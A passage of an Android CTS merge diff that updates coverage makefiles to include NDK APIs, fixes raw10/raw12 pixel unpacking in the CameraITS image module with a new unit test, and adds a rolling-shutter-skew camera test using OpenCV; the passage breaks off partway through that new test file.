[automerger skipped] Merge "DO NOT MERGE: CDD Annotation for section 3.10" into oreo-cts-dev
am: a47e69baa9 -s ours
Change-Id: Id701c4849bdbd54bf3d2f7f69109aeac6ff63cc8
diff --git a/CleanSpec.mk b/CleanSpec.mk
index b2474c2..71ada3d 100644
--- a/CleanSpec.mk
+++ b/CleanSpec.mk
@@ -45,6 +45,8 @@
#$(call add-clean-step, rm -rf $(PRODUCT_OUT)/data/*)
$(call add-clean-step, rm -rf $(HOST_OUT_INTERMEDIATES)/EXECUTABLES/vm-tests-tf_intermediates)
+$(call add-clean-step, rm -rf $(OUT_DIR)/host/common/obj/JAVA_LIBRARIES/cts-tradefed_intermediates/com/android/compatibility/SuiteInfo.java)
+
# ************************************************
# NEWER CLEAN STEPS MUST BE AT THE END OF THE LIST
# ************************************************
diff --git a/CtsCoverage.mk b/CtsCoverage.mk
index c4536f6..895af4d 100644
--- a/CtsCoverage.mk
+++ b/CtsCoverage.mk
@@ -29,12 +29,19 @@
$(hide) mkdir -p $(dir $@)
$(hide) $(APICHECK_COMMAND) -convert2xml $< $@
+napi_text_description := cts/tools/cts-api-coverage/etc/ndk-api.xml
+napi_xml_description := $(coverage_out)/ndk-api.xml
+$(napi_xml_description) : $(napi_text_description) $(ACP)
+ $(hide) echo "Preparing NDK API XML: $@"
+ $(hide) mkdir -p $(dir $@)
+ $(hide) $(ACP) $< $@
+
cts-test-coverage-report := $(coverage_out)/test-coverage.html
cts-verifier-coverage-report := $(coverage_out)/verifier-coverage.html
cts-combined-coverage-report := $(coverage_out)/combined-coverage.html
cts-combined-xml-coverage-report := $(coverage_out)/combined-coverage.xml
-cts_api_coverage_dependencies := $(cts_api_coverage_exe) $(dexdeps_exe) $(api_xml_description)
+cts_api_coverage_dependencies := $(cts_api_coverage_exe) $(dexdeps_exe) $(api_xml_description) $(napi_xml_description)
android_cts_zip := $(HOST_OUT)/cts/android-cts.zip
cts_verifier_apk := $(call intermediates-dir-for,APPS,CtsVerifier)/package.apk
@@ -43,32 +50,36 @@
$(cts-test-coverage-report): PRIVATE_CTS_API_COVERAGE_EXE := $(cts_api_coverage_exe)
$(cts-test-coverage-report): PRIVATE_DEXDEPS_EXE := $(dexdeps_exe)
$(cts-test-coverage-report): PRIVATE_API_XML_DESC := $(api_xml_description)
+$(cts-test-coverage-report): PRIVATE_NAPI_XML_DESC := $(napi_xml_description)
$(cts-test-coverage-report) : $(android_cts_zip) $(cts_api_coverage_dependencies) | $(ACP)
- $(call generate-coverage-report,"CTS Tests API Coverage Report",\
+ $(call generate-coverage-report-cts,"CTS Tests API-NDK Coverage Report",\
$(PRIVATE_TEST_CASES),html)
$(cts-verifier-coverage-report): PRIVATE_TEST_CASES := $(cts_verifier_apk)
$(cts-verifier-coverage-report): PRIVATE_CTS_API_COVERAGE_EXE := $(cts_api_coverage_exe)
$(cts-verifier-coverage-report): PRIVATE_DEXDEPS_EXE := $(dexdeps_exe)
$(cts-verifier-coverage-report): PRIVATE_API_XML_DESC := $(api_xml_description)
+$(cts-verifier-coverage-report): PRIVATE_NAPI_XML_DESC := $(napi_xml_description)
$(cts-verifier-coverage-report) : $(cts_verifier_apk) $(cts_api_coverage_dependencies) | $(ACP)
- $(call generate-coverage-report,"CTS Verifier API Coverage Report",\
+ $(call generate-coverage-report-cts,"CTS Verifier API Coverage Report",\
$(PRIVATE_TEST_CASES),html)
$(cts-combined-coverage-report): PRIVATE_TEST_CASES := $(foreach c, $(cts_verifier_apk) $(COMPATIBILITY_TESTCASES_OUT_cts), $(c))
$(cts-combined-coverage-report): PRIVATE_CTS_API_COVERAGE_EXE := $(cts_api_coverage_exe)
$(cts-combined-coverage-report): PRIVATE_DEXDEPS_EXE := $(dexdeps_exe)
$(cts-combined-coverage-report): PRIVATE_API_XML_DESC := $(api_xml_description)
+$(cts-combined-coverage-report): PRIVATE_NAPI_XML_DESC := $(napi_xml_description)
$(cts-combined-coverage-report) : $(android_cts_zip) $(cts_verifier_apk) $(cts_api_coverage_dependencies) | $(ACP)
- $(call generate-coverage-report,"CTS Combined API Coverage Report",\
+ $(call generate-coverage-report-cts,"CTS Combined API Coverage Report",\
$(PRIVATE_TEST_CASES),html)
$(cts-combined-xml-coverage-report): PRIVATE_TEST_CASES := $(foreach c, $(cts_verifier_apk) $(COMPATIBILITY_TESTCASES_OUT_cts), $(c))
$(cts-combined-xml-coverage-report): PRIVATE_CTS_API_COVERAGE_EXE := $(cts_api_coverage_exe)
$(cts-combined-xml-coverage-report): PRIVATE_DEXDEPS_EXE := $(dexdeps_exe)
$(cts-combined-xml-coverage-report): PRIVATE_API_XML_DESC := $(api_xml_description)
+$(cts-combined-xml-coverage-report): PRIVATE_NAPI_XML_DESC := $(napi_xml_description)
$(cts-combined-xml-coverage-report) : $(android_cts_zip) $(cts_verifier_apk) $(cts_api_coverage_dependencies) | $(ACP)
- $(call generate-coverage-report,"CTS Combined API Coverage Report - XML",\
+ $(call generate-coverage-report-cts,"CTS Combined API Coverage Report - XML",\
$(PRIVATE_TEST_CASES),xml)
.PHONY: cts-test-coverage
@@ -95,10 +106,10 @@
# 1 - Name of the report printed out on the screen
# 2 - List of apk files that will be scanned to generate the report
# 3 - Format of the report
-define generate-coverage-report
+define generate-coverage-report-cts
$(hide) mkdir -p $(dir $@)
- $(hide) $(PRIVATE_CTS_API_COVERAGE_EXE) -d $(PRIVATE_DEXDEPS_EXE) -a $(PRIVATE_API_XML_DESC) -f $(3) -o $@ $(2)
- @ echo $(1): file://$(ANDROID_BUILD_TOP)/$@
+ $(hide) $(PRIVATE_CTS_API_COVERAGE_EXE) -d $(PRIVATE_DEXDEPS_EXE) -a $(PRIVATE_API_XML_DESC) -n $(PRIVATE_NAPI_XML_DESC) -f $(3) -o $@ $(2)
+ @ echo $(1): file://$$(cd $(dir $@); pwd)/$(notdir $@)
endef
# Reset temp vars
@@ -109,6 +120,8 @@
cts-test-coverage-report :=
api_xml_description :=
api_text_description :=
+napi_xml_description :=
+napi_text_description :=
coverage_out :=
dexdeps_exe :=
cts_api_coverage_exe :=
diff --git a/PREUPLOAD.cfg b/PREUPLOAD.cfg
index e5c8d7a..cc2aad9 100644
--- a/PREUPLOAD.cfg
+++ b/PREUPLOAD.cfg
@@ -2,6 +2,7 @@
checkstyle_hook = ${REPO_ROOT}/prebuilts/checkstyle/checkstyle.py --sha ${PREUPLOAD_COMMIT}
-fw apps/CtsVerifier/src/com/android/cts/verifier/usb/
apps/CtsVerifierUSBCompanion/
+ tests/autofillservice/
tests/tests/animation/
tests/tests/print/
tests/tests/text/
diff --git a/apps/CameraITS/build/scripts/gpylint_rcfile b/apps/CameraITS/build/scripts/gpylint_rcfile
index 43d3dbc..37f43f7 100644
--- a/apps/CameraITS/build/scripts/gpylint_rcfile
+++ b/apps/CameraITS/build/scripts/gpylint_rcfile
@@ -279,7 +279,7 @@
# Number of spaces of indent required when the last token on the preceding line
# is an open (, [, or {.
-indent-after-paren=4
+indent-after-paren=8
# Minimum number of spaces between the end of a line and an inline comment.
min-comment-space=2
diff --git a/apps/CameraITS/pymodules/its/image.py b/apps/CameraITS/pymodules/its/image.py
index 3543764..c1bc0e2 100644
--- a/apps/CameraITS/pymodules/its/image.py
+++ b/apps/CameraITS/pymodules/its/image.py
@@ -16,16 +16,14 @@
matplotlib.use('Agg')
import its.error
-from matplotlib import pylab
import sys
from PIL import Image
import numpy
import math
import unittest
import cStringIO
-import scipy.stats
import copy
-import os
+import random
DEFAULT_YUV_TO_RGB_CCM = numpy.matrix([
[1.000, 0.000, 1.402],
@@ -86,6 +84,7 @@
else:
raise its.error.Error('Invalid format %s' % (cap["format"]))
+
def unpack_rawstats_capture(cap):
"""Unpack a rawStats capture to the mean and variance images.
@@ -105,6 +104,7 @@
var_image = analysis_image[1,:,:,:].reshape(h,w,4)
return mean_image, var_image
+
def unpack_raw10_capture(cap, props):
"""Unpack a raw-10 capture to a raw-16 capture.
@@ -125,6 +125,7 @@
cap["format"] = "raw"
return cap
+
def unpack_raw10_image(img):
"""Unpack a raw-10 image to a raw-16 image.
@@ -150,11 +151,14 @@
lsbs = img[::, 4::5].reshape(h,w/4)
lsbs = numpy.right_shift(
numpy.packbits(numpy.unpackbits(lsbs).reshape(h,w/4,4,2),3), 6)
+ # Pair the LSB bits group to pixel 0 instead of pixel 3
+ lsbs = lsbs.reshape(h,w/4,4)[:,:,::-1]
lsbs = lsbs.reshape(h,w)
# Fuse the MSBs and LSBs back together
img16 = numpy.bitwise_or(msbs, lsbs).reshape(h,w)
return img16
+
def unpack_raw12_capture(cap, props):
"""Unpack a raw-12 capture to a raw-16 capture.
@@ -175,6 +179,7 @@
cap["format"] = "raw"
return cap
+
def unpack_raw12_image(img):
"""Unpack a raw-12 image to a raw-16 image.
@@ -200,11 +205,14 @@
lsbs = img[::, 2::3].reshape(h,w/2)
lsbs = numpy.right_shift(
numpy.packbits(numpy.unpackbits(lsbs).reshape(h,w/2,2,4),3), 4)
+ # Pair the LSB bits group to pixel 0 instead of pixel 1
+ lsbs = lsbs.reshape(h,w/2,2)[:,:,::-1]
lsbs = lsbs.reshape(h,w)
# Fuse the MSBs and LSBs back together
img16 = numpy.bitwise_or(msbs, lsbs).reshape(h,w)
return img16
+
def convert_capture_to_planes(cap, props=None):
"""Convert a captured image object to separate image planes.
@@ -303,6 +311,7 @@
else:
raise its.error.Error('Invalid format %s' % (cap["format"]))
+
def get_canonical_cfa_order(props):
"""Returns a mapping from the Bayer 2x2 top-left grid in the CFA to
the standard order R,Gr,Gb,B.
@@ -333,6 +342,7 @@
else:
raise its.error.Error("Not supported")
+
def get_gains_in_canonical_order(props, gains):
"""Reorders the gains tuple to the canonical R,Gr,Gb,B order.
@@ -353,6 +363,7 @@
else:
raise its.error.Error("Not supported")
+
def convert_raw_to_rgb_image(r_plane, gr_plane, gb_plane, b_plane,
props, cap_res):
"""Convert a Bayer raw-16 image to an RGB image.
@@ -402,6 +413,7 @@
img = numpy.dot(img.reshape(w*h,3), ccm.T).reshape(h,w,3).clip(0.0,1.0)
return img
+
def get_black_level(chan, props, cap_res):
"""Return the black level to use for a given capture.
@@ -425,6 +437,7 @@
ordered_black_levels = [black_levels[i] for i in idxs]
return ordered_black_levels[chan]
+
def convert_yuv420_planar_to_rgb_image(y_plane, u_plane, v_plane,
w, h,
ccm_yuv_to_rgb=DEFAULT_YUV_TO_RGB_CCM,
@@ -456,6 +469,7 @@
rgb.reshape(w*h*3)[:] = flt.reshape(w*h*3)[:]
return rgb.astype(numpy.float32) / 255.0
+
def load_rgb_image(fname):
"""Load a standard image file (JPG, PNG, etc.).
@@ -478,6 +492,7 @@
else:
raise its.error.Error('Unsupported image type')
+
def load_yuv420_to_rgb_image(yuv_fname,
w, h,
layout="planar",
@@ -517,6 +532,7 @@
return convert_yuv420_planar_to_rgb_image(
y,u,v,w,h,ccm_yuv_to_rgb,yuv_off)
+
def load_yuv420_planar_to_yuv_planes(yuv_fname, w, h):
"""Load a YUV420 planar image file, and return Y, U, and V plane images.
@@ -539,6 +555,7 @@
(u.astype(numpy.float32) / 255.0).reshape(h/2, w/2, 1),
(v.astype(numpy.float32) / 255.0).reshape(h/2, w/2, 1))
+
def decompress_jpeg_to_rgb_image(jpeg_buffer):
"""Decompress a JPEG-compressed image, returning as an RGB image.
@@ -553,6 +570,7 @@
h = img.size[1]
return numpy.array(img).reshape(h,w,3) / 255.0
+
def apply_lut_to_image(img, lut):
"""Applies a LUT to every pixel in a float image array.
@@ -586,6 +604,7 @@
m = float(n-1)
return (lut[(img * m).astype(numpy.uint16)] / m).astype(numpy.float32)
+
def apply_matrix_to_image(img, mat):
"""Multiplies a 3x3 matrix with each float-3 image pixel.
@@ -610,6 +629,7 @@
).reshape(w*h*3)[:]
return img2
+
def get_image_patch(img, xnorm, ynorm, wnorm, hnorm):
"""Get a patch (tile) of an image.
@@ -628,6 +648,7 @@
htile = int(math.floor(hnorm * hfull))
return img[ytile:ytile+htile,xtile:xtile+wtile,:].copy()
+
def compute_image_means(img):
"""Calculate the mean of each color channel in the image.
@@ -643,6 +664,7 @@
means.append(numpy.mean(img[:,:,i], dtype=numpy.float64))
return means
+
def compute_image_variances(img):
"""Calculate the variance of each color channel in the image.
@@ -658,6 +680,7 @@
variances.append(numpy.var(img[:,:,i], dtype=numpy.float64))
return variances
+
def compute_image_snrs(img):
"""Calculate the SNR (db) of each color channel in the image.
@@ -673,6 +696,7 @@
snr = [20 * math.log10(m/s) for m,s in zip(means, std_devs)]
return snr
+
def write_image(img, fname, apply_gamma=False):
"""Save a float-3 numpy array image to a file.
@@ -701,6 +725,7 @@
else:
raise its.error.Error('Unsupported image type')
+
def downscale_image(img, f):
"""Shrink an image by a given integer factor.
@@ -842,5 +867,40 @@
passed = all([math.fabs(y[i] - y_ref[i]) < 0.001 for i in xrange(3)])
self.assertTrue(passed)
-if __name__ == '__main__':
+ def test_unpack_raw10_image(self):
+ """Unit test for unpack_raw10_image.
+
+ RAW10 bit packing format
+ bit 7 bit 6 bit 5 bit 4 bit 3 bit 2 bit 1 bit 0
+ Byte 0: P0[9] P0[8] P0[7] P0[6] P0[5] P0[4] P0[3] P0[2]
+ Byte 1: P1[9] P1[8] P1[7] P1[6] P1[5] P1[4] P1[3] P1[2]
+ Byte 2: P2[9] P2[8] P2[7] P2[6] P2[5] P2[4] P2[3] P2[2]
+ Byte 3: P3[9] P3[8] P3[7] P3[6] P3[5] P3[4] P3[3] P3[2]
+ Byte 4: P3[1] P3[0] P2[1] P2[0] P1[1] P1[0] P0[1] P0[0]
+ """
+ # test by using a random 4x4 10-bit image
+ H = 4
+ W = 4
+ check_list = random.sample(range(0, 1024), H*W)
+ img_check = numpy.array(check_list).reshape(H, W)
+ # pack bits
+ for row_start in range(0, len(check_list), W):
+ msbs = []
+ lsbs = ""
+ for pixel in range(W):
+ val = numpy.binary_repr(check_list[row_start+pixel], 10)
+ msbs.append(int(val[:8], base=2))
+ lsbs = val[8:] + lsbs
+ packed = msbs
+ packed.append(int(lsbs, base=2))
+ chunk_raw10 = numpy.array(packed, dtype="uint8").reshape(1, 5)
+ if row_start == 0:
+ img_raw10 = chunk_raw10
+ else:
+ img_raw10 = numpy.vstack((img_raw10, chunk_raw10))
+ # unpack and check against original
+ self.assertTrue(numpy.array_equal(unpack_raw10_image(img_raw10),
+ img_check))
+
+if __name__ == "__main__":
unittest.main()
diff --git a/apps/CameraITS/tests/rolling_shutter_skew/RollingShutterSkew.pdf b/apps/CameraITS/tests/rolling_shutter_skew/RollingShutterSkew.pdf
new file mode 100644
index 0000000..1a6c30a
--- /dev/null
+++ b/apps/CameraITS/tests/rolling_shutter_skew/RollingShutterSkew.pdf
Binary files differ
diff --git a/apps/CameraITS/tests/rolling_shutter_skew/test_rolling_shutter_skew.py b/apps/CameraITS/tests/rolling_shutter_skew/test_rolling_shutter_skew.py
new file mode 100644
index 0000000..824c180
--- /dev/null
+++ b/apps/CameraITS/tests/rolling_shutter_skew/test_rolling_shutter_skew.py
@@ -0,0 +1,675 @@
+"""Experimentally determines a camera's rolling shutter skew.
+
+See the accompanying PDF for instructions on how to use this test.
+"""
+from __future__ import division
+from __future__ import print_function
+
+import argparse
+import glob
+import math
+import os
+import sys
+import tempfile
+
+import cv2
+import its.caps
+import its.device
+import its.image
+import its.objects
+import numpy as np
+
+DEBUG = False
+
+# Constants for which direction the camera is facing.
+FACING_FRONT = 0
+FACING_BACK = 1
+FACING_EXTERNAL = 2
+
+# Camera capture defaults.
+FPS = 30
+WIDTH = 640
+HEIGHT = 480
+TEST_LENGTH = 1
+
+# Each circle in a cluster must be within this many pixels of some other circle
+# in the cluster.
+CLUSTER_DISTANCE = 50.0 / HEIGHT
+# A cluster must consist of at least this percentage of the total contours for
+# it to be allowed into the computation.
+MAJORITY_THRESHOLD = 0.7
+
+# Constants to make sure the slope of the fitted line is reasonable.
+SLOPE_MIN_THRESHOLD = 0.5
+SLOPE_MAX_THRESHOLD = 1.5
+
+# To improve readability of unit conversions.
+SEC_TO_NSEC = float(10**9)
+MSEC_TO_NSEC = float(10**6)
+NSEC_TO_MSEC = 1.0 / float(10**6)
+
+
+class RollingShutterArgumentParser(object):
+ """Parses command line arguments for the rolling shutter test."""
+
+ def __init__(self):
+ self.__parser = argparse.ArgumentParser(
+ description='Run rolling shutter test')
+ self.__parser.add_argument(
+ '-d', '--debug',
+ action='store_true',
+ help='print and write data useful for debugging')
+ self.__parser.add_argument(
+ '-f', '--fps',
+ type=int,
+ help='FPS to capture with during the test (defaults to 30)')
+ self.__parser.add_argument(
+ '-i', '--img_size',
+ help=('comma-separated dimensions of captured images (defaults '
+ 'to 640x480). Example: --img_size=<width>,<height>'))
+ self.__parser.add_argument(
+ '-l', '--led_time',
+ type=float,
+ required=True,
+ help=('how many milliseconds each column of the LED array is '
+ 'lit for'))
+ self.__parser.add_argument(
+ '-p', '--panel_distance',
+ type=float,
+ help='how far the LED panel is from the camera (in meters)')
+ self.__parser.add_argument(
+ '-r', '--read_dir',
+ help=('read existing test data from specified directory. If '
+ 'not specified, new test data is collected from the '
+ 'device\'s camera)'))
+ self.__parser.add_argument(
+ '--device_id',
+ help=('device ID for device being tested (can also use '
+ '\'device=<DEVICE ID>\')'))
+ self.__parser.add_argument(
+ '-t', '--test_length',
+ type=int,
+ help=('how many seconds the test should run for (defaults to 1 '
+ 'second)'))
+ self.__parser.add_argument(
+ '-o', '--debug_dir',
+ help=('write debugging information in a folder in the '
+ 'specified directory. Otherwise, the system\'s default '
+ 'location for temporary folders is used. --debug must '
+ 'be specified along with this argument.'))
+
+ def parse_args(self):
+ """Returns object containing parsed values from the command line."""
+ # Don't show argparse the 'device' flag, since it's in a different
+ # format than the others (to maintain CameraITS conventions) and it will
+ # complain.
+ filtered_args = [arg for arg in sys.argv[1:] if 'device=' not in arg]
+ args = self.__parser.parse_args(filtered_args)
+ if args.device_id:
+ # If argparse format is used, convert it to a format its.device can
+ # use later on.
+ sys.argv.append('device=%s' % args.device_id)
+ return args
+
+
+def main():
+ global DEBUG
+ global CLUSTER_DISTANCE
+
+ parser = RollingShutterArgumentParser()
+ args = parser.parse_args()
+
+ DEBUG = args.debug
+ if not DEBUG and args.debug_dir:
+ print('argument --debug_dir requires --debug', file=sys.stderr)
+ sys.exit()
+
+ if args.read_dir is None:
+ # Collect new data.
+ raw_caps, reported_skew = collect_data(args)
+ frames = [its.image.convert_capture_to_rgb_image(c) for c in raw_caps]
+ else:
+ # Load existing data.
+ frames, reported_skew = load_data(args.read_dir)
+
+ # Make the cluster distance relative to the height of the image.
+ (frame_h, _, _) = frames[0].shape
+ CLUSTER_DISTANCE = frame_h * CLUSTER_DISTANCE
+ debug_print('Setting cluster distance to %spx.' % CLUSTER_DISTANCE)
+
+ if DEBUG:
+ debug_dir = setup_debug_dir(args.debug_dir)
+ # Write raw frames.
+ for i, img in enumerate(frames):
+ its.image.write_image(img, '%s/raw/%03d.png' % (debug_dir, i))
+ else:
+ debug_dir = None
+
+ avg_shutter_skew, num_frames_used = find_average_shutter_skew(
+ frames, args.led_time, debug_dir)
+ if debug_dir:
+ # Write the reported skew with the raw images, so the directory can also
+ # be used to read from.
+ with open(debug_dir + '/raw/reported_skew.txt', 'w') as f:
+ f.write('%sms\n' % reported_skew)
+
+ if avg_shutter_skew is None:
+ print('Could not find usable frames.')
+ else:
+ print('Device reported shutter skew of %sms.' % reported_skew)
+ print('Measured shutter skew is %sms (averaged over %s frames).' %
+ (avg_shutter_skew, num_frames_used))
+
+
+def collect_data(args):
+ """Capture a new set of frames from the device's camera.
+
+ Args:
+ args: Parsed command line arguments.
+
+ Returns:
+ A list of RGB images as numpy arrays.
+ """
+ fps = args.fps if args.fps else FPS
+ if args.img_size:
+ w, h = map(int, args.img_size.split(','))
+ else:
+ w, h = WIDTH, HEIGHT
+ test_length = args.test_length if args.test_length else TEST_LENGTH
+
+ with its.device.ItsSession() as cam:
+ props = cam.get_camera_properties()
+ its.caps.skip_unless(its.caps.manual_sensor(props))
+ facing = props['android.lens.facing']
+ if facing != FACING_FRONT and facing != FACING_BACK:
+ print('Unknown lens facing %s' % facing)
+ assert 0
+
+ fmt = {'format': 'yuv', 'width': w, 'height': h}
+ s, e, _, _, _ = cam.do_3a(get_results=True, do_af=False)
+ req = its.objects.manual_capture_request(s, e)
+ req['android.control.aeTargetFpsRange'] = [fps, fps]
+
+ # Convert from milliseconds to nanoseconds. We only want enough
+ # exposure time to saturate approximately one column.
+ exposure_time = (args.led_time / 2.0) * MSEC_TO_NSEC
+ print('Using exposure time of %sns.' % exposure_time)
+ req['android.sensor.exposureTime'] = exposure_time
+ req["android.sensor.frameDuration"] = int(SEC_TO_NSEC / fps);
+
+ if args.panel_distance is not None:
+ # Convert meters to diopters and use that for the focus distance.
+ req['android.lens.focusDistance'] = 1 / args.panel_distance
+ print('Starting capture')
+ raw_caps = cam.do_capture([req]*fps*test_length, fmt)
+ print('Finished capture')
+
+ # Convert from nanoseconds to milliseconds.
+ shutter_skews = {c['metadata']['android.sensor.rollingShutterSkew'] *
+ NSEC_TO_MSEC for c in raw_caps}
+ # All frames should have same rolling shutter skew.
+ assert len(shutter_skews) == 1
+ shutter_skew = list(shutter_skews)[0]
+
+ return raw_caps, shutter_skew
+
+
+def load_data(dir_name):
+ """Reads camera frame data from an existing directory.
+
+ Args:
+ dir_name: Name of the directory to read data from.
+
+ Returns:
+ A list of RGB images as numpy arrays.
+ """
+ frame_files = glob.glob('%s/*.png' % dir_name)
+ frames = []
+ for frame_file in sorted(frame_files):
+ frames.append(its.image.load_rgb_image(frame_file))
+ with open('%s/reported_skew.txt' % dir_name, 'r') as f:
+ reported_skew = f.readline()[:-2] # Strip off 'ms' suffix
+ return frames, reported_skew
+
+
+def find_average_shutter_skew(frames, led_time, debug_dir=None):
+ """Finds the average shutter skew using the given frames.
+
+ Frames without enough information will be discarded from the average to
+ improve overall accuracy.
+
+ Args:
+ frames: List of RGB images from the camera being tested.
+ led_time: How long a single LED column is lit for (in milliseconds).
+ debug_dir: (optional) Directory to write debugging information to.
+
+ Returns:
+ The average calculated shutter skew and the number of frames used to
+ calculate the average.
+ """
+ avg_shutter_skew = 0.0
+ avg_slope = 0.0
+ weight = 0.0
+ num_frames_used = 0
+
+ for i, frame in enumerate(frames):
+ debug_print('------------------------')
+ debug_print('| PROCESSING FRAME %03d |' % i)
+ debug_print('------------------------')
+ shutter_skew, confidence, slope = calculate_shutter_skew(
+ frame, led_time, i, debug_dir=debug_dir)
+ if shutter_skew is None:
+ debug_print('Skipped frame.')
+ else:
+ debug_print('Shutter skew is %sms (confidence: %s).' %
+ (shutter_skew, confidence))
+ # Use the confidence to weight the average.
+ avg_shutter_skew += shutter_skew * confidence
+ avg_slope += slope * confidence
+ weight += confidence
+ num_frames_used += 1
+
+ debug_print('\n')
+ if num_frames_used == 0:
+ return None, None
+ else:
+ avg_shutter_skew /= weight
+ avg_slope /= weight
+ slope_err_str = ('The average slope of the fitted line was too %s '
+ 'to get an accurate measurement (slope was %s). '
+ 'Try making the LED panel %s.')
+ if avg_slope < SLOPE_MIN_THRESHOLD:
+ print(slope_err_str % ('flat', avg_slope, 'slower'),
+ file=sys.stderr)
+ elif avg_slope > SLOPE_MAX_THRESHOLD:
+ print(slope_err_str % ('steep', avg_slope, 'faster'),
+ file=sys.stderr)
+ return avg_shutter_skew, num_frames_used
+
+
+def calculate_shutter_skew(frame, led_time, frame_num=None, debug_dir=None):
+ """Calculates the shutter skew of the camera being used for this test.
+
+ Args:
+ frame: A single RGB image captured by the camera being tested.
+ led_time: How long a single LED column is lit for (in milliseconds).
+ frame_num: (optional) Number of the given frame.
+ debug_dir: (optional) Directory to write debugging information to.
+
+ Returns:
+ The shutter skew (in milliseconds), the confidence in the accuracy of
+ the measurement (useful for weighting averages), and the slope of the
+ fitted line.
+ """
+ contours, scratch_img, contour_img, mono_img = find_contours(frame.copy())
+ if debug_dir is not None:
+ cv2.imwrite('%s/contour/%03d.png' % (debug_dir, frame_num), contour_img)
+ cv2.imwrite('%s/mono/%03d.png' % (debug_dir, frame_num), mono_img)
+
+ largest_cluster, cluster_percentage = find_largest_cluster(contours,
+ scratch_img)
+ if largest_cluster is None:
+ debug_print('No majority cluster found.')
+ return None, None, None
+ elif len(largest_cluster) <= 1:
+ debug_print('Majority cluster was too small.')
+ return None, None, None
+ debug_print('%s points in the largest cluster.' % len(largest_cluster))
+
+ np_cluster = np.array([[c.x, c.y] for c in largest_cluster])
+ [vx], [vy], [x0], [y0] = cv2.fitLine(np_cluster, cv2.cv.CV_DIST_L2,
+ 0, 0.01, 0.01)
+ slope = vy / vx
+ debug_print('Slope is %s.' % slope)
+ (frame_h, frame_w, _) = frame.shape
+ # Draw line onto scratch frame.
+ pt1 = tuple(map(int, (x0 - vx * 1000, y0 - vy * 1000)))
+ pt2 = tuple(map(int, (x0 + vx * 1000, y0 + vy * 1000)))
+ cv2.line(scratch_img, pt1, pt2, (0, 255, 255), thickness=3)
+
+ # We only need the width of the cluster.
+ _, _, cluster_w, _ = find_cluster_bounding_rect(largest_cluster,
+ scratch_img)
+
+ num_columns = find_num_columns_spanned(largest_cluster)
+ debug_print('%s columns spanned by cluster.' % num_columns)
+ # How long it takes for a column to move from the left of the bounding
+ # rectangle to the right.
+ left_to_right_time = led_time * num_columns
+ milliseconds_per_x_pixel = left_to_right_time / cluster_w
+ # The distance between the line's intersection at the top of the frame and
+ # the intersection at the bottom.
+ x_range = frame_h / slope
+ shutter_skew = milliseconds_per_x_pixel * x_range
+ # If the aspect ratio is different from 4:3 (the aspect ratio of the actual
+ # sensor), we need to correct, because it will be cropped.
+ shutter_skew *= (float(frame_w) / float(frame_h)) / (4.0 / 3.0)
+
+ if debug_dir is not None:
+ cv2.imwrite('%s/scratch/%03d.png' % (debug_dir, frame_num),
+ scratch_img)
+
+ return shutter_skew, cluster_percentage, slope
+
+
+def find_contours(img):
+ """Finds contours in the given image.
+
+ Args:
+ img: Image in Android camera RGB format.
+
+ Returns:
+ OpenCV-formatted contours, the original image in OpenCV format, a
+ thresholded image with the contours drawn on, and a grayscale version of
+ the image.
+ """
+ # Convert to format OpenCV can work with (BGR ordering with byte-ranged
+ # values).
+ img *= 255
+ img = img.astype(np.uint8)
+ img = cv2.cvtColor(img, cv2.COLOR_RGB2BGR)
+
+ # Since the LED colors for the panel we're using are red, we can get better
+ # contours for the LEDs if we ignore the green and blue channels. This also
+ # makes it so we don't pick up the blue control screen of the LED panel.
+ red_img = img[:, :, 2]
+ _, thresh = cv2.threshold(red_img, 0, 255, cv2.THRESH_BINARY +
+ cv2.THRESH_OTSU)
+
+ # Remove noise before finding contours by eroding the thresholded image and
+ # then re-dilating it. The size of the kernel represents how many
+ # neighboring pixels to consider for the result of a single pixel.
+ kernel = np.ones((3, 3), np.uint8)
+ opening = cv2.morphologyEx(thresh, cv2.MORPH_OPEN, kernel, iterations=2)
+
+ if DEBUG:
+ # Need to convert it back to BGR if we want to draw colored contours.
+ contour_img = cv2.cvtColor(opening, cv2.COLOR_GRAY2BGR)
+ else:
+ contour_img = None
+ contours, _ = cv2.findContours(opening,
+ cv2.cv.CV_RETR_EXTERNAL,
+ cv2.cv.CV_CHAIN_APPROX_NONE)
+ if DEBUG:
+ cv2.drawContours(contour_img, contours, -1, (0, 0, 255), thickness=2)
+ return contours, img, contour_img, red_img
+
+
+def convert_to_circles(contours):
+ """Converts given contours into circle objects.
+
+ Args:
+ contours: Contours generated by OpenCV.
+
+ Returns:
+ A list of circles.
+ """
+
+ class Circle(object):
+ """Holds data to uniquely define a circle."""
+
+ def __init__(self, contour):
+ self.x = int(np.mean(contour[:, 0, 0]))
+ self.y = int(np.mean(contour[:, 0, 1]))
+ # Get diameters of each axis then half it.
+ x_r = (np.max(contour[:, 0, 0]) - np.min(contour[:, 0, 0])) / 2.0
+ y_r = (np.max(contour[:, 0, 1]) - np.min(contour[:, 0, 1])) / 2.0
+ # Average x radius and y radius to get the approximate radius for
+ # the given contour.
+ self.r = (x_r + y_r) / 2.0
+ assert self.r > 0.0
+
+ def distance_to(self, other):
+ return (math.sqrt((other.x - self.x)**2 + (other.y - self.y)**2) -
+ self.r - other.r)
+
+ def intersects(self, other):
+ return self.distance_to(other) <= 0.0
+
+ return list(map(Circle, contours))
+
+
+def find_largest_cluster(contours, frame):
+ """Finds the largest cluster in the given contours.
+
+ Args:
+ contours: Contours generated by OpenCV.
+ frame: For drawing debugging information onto.
+
+ Returns:
+ The cluster with the most contours in it and the percentage of all
+ contours that the cluster contains.
+ """
+ clusters = proximity_clusters(contours)
+
+ if not clusters:
+ return None, None # No clusters found.
+
+ largest_cluster = max(clusters, key=len)
+ cluster_percentage = len(largest_cluster) / len(contours)
+
+ if cluster_percentage < MAJORITY_THRESHOLD:
+ return None, None
+
+ if DEBUG:
+ # Draw largest cluster on scratch frame.
+ for circle in largest_cluster:
+ cv2.circle(frame, (int(circle.x), int(circle.y)), int(circle.r),
+ (0, 255, 0), thickness=2)
+
+ return largest_cluster, cluster_percentage
+
+
+def proximity_clusters(contours):
+ """Sorts the given contours into groups by distance.
+
+ Converts every given contour to a circle and clusters by adding a circle to
+ a cluster only if it is close to at least one other circle in the cluster.
+
+ TODO: Make algorithm faster (currently O(n**2)).
+
+ Args:
+ contours: Contours generated by OpenCV.
+
+ Returns:
+ A list of clusters, where each cluster is a list of the circles
+ contained in the cluster.
+ """
+ circles = convert_to_circles(contours)
+
+ # Use disjoint-set data structure to store assignments. Start every point
+ # in their own cluster.
+ cluster_assignments = [-1 for i in range(len(circles))]
+
+ def get_canonical_index(i):
+ if cluster_assignments[i] >= 0:
+ index = get_canonical_index(cluster_assignments[i])
